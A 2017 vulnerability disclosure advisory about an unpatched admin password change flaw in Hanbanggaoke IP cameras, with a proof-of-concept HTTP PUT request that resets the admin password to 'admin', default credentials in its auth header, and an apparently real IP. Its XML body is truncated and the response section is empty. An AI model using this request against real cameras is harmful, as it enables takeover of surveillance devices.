SSD Advisory – Hanbanggaoke IP Camera Arbitrary Password Change

blogs.securiteam.com/index.php/archives/3420

SSD / Maor Schwartz September 11, 2017

Vulnerability summary
The following advisory describes an arbitrary password change vulnerability found in Hanbanggaoke webcams.

Beijing Hanbang Technology, “one of the first enterprises entering into digital video surveillance industry, has been focusing on R&D of products and technology of digital video surveillance field. While providing product and technical support, it also provides overall solution for the industrial system; it has successfully provided system implementation and service supports for several industries.”

Credit
An independent security researcher, Netfairy, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program

Vendor response
We tried to contact Hanbanggaoke since the 8th of August 2017, repeated attempts to establish contact went unanswered. At this time there is no solution or workaround for this vulnerability.

Vulnerability details
User controlled input is not sufficiently sanitized, by sending a PUT request to */ISAPI/Security/users/1 HTTP/1.1* an attacker can change the admin password.

Proof of Concept
In order to exploit the vulnerability, we need to use proxy tool (like Burp). We then connect to the victim’s machine and need to capture the data package.

We then edit the data of the following PUT request:

```
1  PUT /ISAPI/Security/users/1 HTTP/1.1
2  Host: x.x.x.x
3  Content-Length: 321
4  Cache-Control: max-age=0
5  Origin: http://x.x.x.x
6  X-Requested-With: XMLHttpRequest
7  Authorization: Basic YWRtaW46ODg4ODg4
8  Content-Type: application/x-www-form-urlencoded
9  Accept: application/xml, text/xml, */*; q=0.01
10 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.115 Safari/537.36
11 If-Modified-Since: 0
12 Referer: http://116.95.94.10/doc/page/paramconfig.asp
13 Accept-Encoding: gzip, deflate
14 Accept-Language: zh-CN,zh;q=0.8
15 Cookie: updateTips=true; streamType=0; BufferLever=1; userInfo80=YWRtaW46ODg4ODg4; DevID=5; language=zh; curpage=paramconfig.asp%254
16 Connection: close
17
18 <?xml version="1.0" encoding="UTF-8"?><User><id>1</id><userName>admin</userName><password>admin</password><bondIpList><bondIp><id>1</id><ipAddress>0.0.0
   <inherent>true</inherent></attribute></User>
```

The successful response will be:

Now, we can login with as administrator:

- User: admin
- Password: admin